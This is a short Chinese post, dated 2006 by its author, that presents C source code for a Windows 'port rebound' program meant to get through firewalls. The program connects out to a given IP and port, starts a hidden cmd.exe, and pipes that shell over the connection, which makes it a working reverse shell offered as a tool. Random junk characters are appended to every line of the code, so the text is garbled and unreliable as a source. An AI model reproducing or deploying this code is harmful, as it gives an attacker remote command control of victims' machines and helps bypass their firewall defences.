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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {c; 3$  
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/* ============================== <^{:K`  
Rebound port in Windows NT =ndKG5  
By wind,2006/7 W^f#xrq>  
===============================*/ TVA1FD  
#include X3yr6J[ ^  
#include gG>>ynn  
AF6'JxG7  
#pragma comment(lib,"wsock32.lib") L4b4X  
g!ww;_  
void OutputShell(); Xg,BK0O  
SOCKET sClient; ibyA~YUN/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )/'s& D  
3LR Eue7Gr  
void main(int argc,char **argv) RSC-+c6 1  
{ |e\%pfZ   
WSADATA stWsaData; Lw`\J|%p  
int nRet; {J$aA6t:"T  
SOCKADDR_IN stSaiClient,stSaiServer; $!Tw`O  
@@jdF-Utj;  
if(argc != 3) J7xmf,76w  
{ 1S.~-K*X  
printf("Useage:\n\rRebound DestIP DestPort\n"); .2xkf@OP  
return; 2X_ef  
} lDeWs%n  
)RFeF!("  
WSAStartup(MAKEWORD(2,2),&stWsaData); Sqs`E[G*  
_rd{cvdR  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -}@9lhS,  
{W]jVh p  
stSaiClient.sin_family = AF_INET; xFZq6si?  
stSaiClient.sin_port = htons(0); s?Kn,6Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }T,uw8?f!  
>YLm]7v}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v &n &i?  
{ g%trGW3{-  
printf("Bind Socket Failed!\n"); @#apOoVW>  
return; Sls> OIc  
} /Ny&;Y  
5oS\uX|  
stSaiServer.sin_family = AF_INET; o6 /?WR9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Cmj)CJ-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @d\F; o<  
"|if<hx+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3nO|A: t  
{ n>WS@b/o  
printf("Connect Error!"); tF|bxXs Z  
return; h.*|4;  
} <T).+ M/  
OutputShell(); .FUE F)  
} ;/@R{G{+~;  
W= !f  
void OutputShell() rAKd f??  
{ 4%TC2Laii  
char szBuff[1024]; N!AFsWV  
SECURITY_ATTRIBUTES stSecurityAttributes; z( wXs&z;  
OSVERSIONINFO stOsversionInfo; \"SI-`x  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J5k%  
STARTUPINFO stStartupInfo; Ty=}A MMyE  
char *szShell; :R)IaJ6)  
PROCESS_INFORMATION stProcessInformation; F}Au'D&n_  
unsigned long lBytesRead; @lwqk J  
&+v&Dd&  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tz,FK;8  
?D_zAh?pW  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DjIs"5Iei  
stSecurityAttributes.lpSecurityDescriptor = 0; k{~5pxd-t  
stSecurityAttributes.bInheritHandle = TRUE; Y*Pr  
8/:\iPk0  
VI?[8@*Z  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "q$M\jK#V  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  X_lNnk  
zF PSk ]  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $IHa]9 {  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {#vo^& B  
stStartupInfo.wShowWindow = SW_HIDE; (I$hw"%&  
stStartupInfo.hStdInput = hReadPipe; AF@C9s  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6XP>p$-  
tVOx  
GetVersionEx(&stOsversionInfo); $[Fk>d  
5M*p1^ >  
switch(stOsversionInfo.dwPlatformId) !>Xx</iD1  
{ L|<Mtw  
case 1: {'1,JwSmb  
szShell = "command.com"; <6@Db$-  
break; $Ix^Rm9c  
default: }^H_|;e1p  
szShell = "cmd.exe"; zSu2B6YU}  
break; Xy._&&pt  
} J8jbtL O'  
g0l- n  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9;PtY dJ8  
x RfX:3  
send(sClient,szMsg,77,0); PF.HYtZqK  
while(1) "ggq7cJ}_  
{ >_@J&vC  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);  ZM"t.  
if(lBytesRead) OHU(?TBo  
{ q45n.A6a  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W/ERqVZR]  
send(sClient,szBuff,lBytesRead,0); 5q\]]LV>  
} TtzB[F  
else ?1YK-T@  
{ Q8_d]V=X:  
lBytesRead=recv(sClient,szBuff,1024,0); Q-\: u~  
if(lBytesRead<=0) break; uZfo[_g0S  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j0J6ySlY  
} 8 =d9*lm  
} WDcjj1`l  
~Y{K ^:wN^  
return; ~%]+5^Ka]  
}
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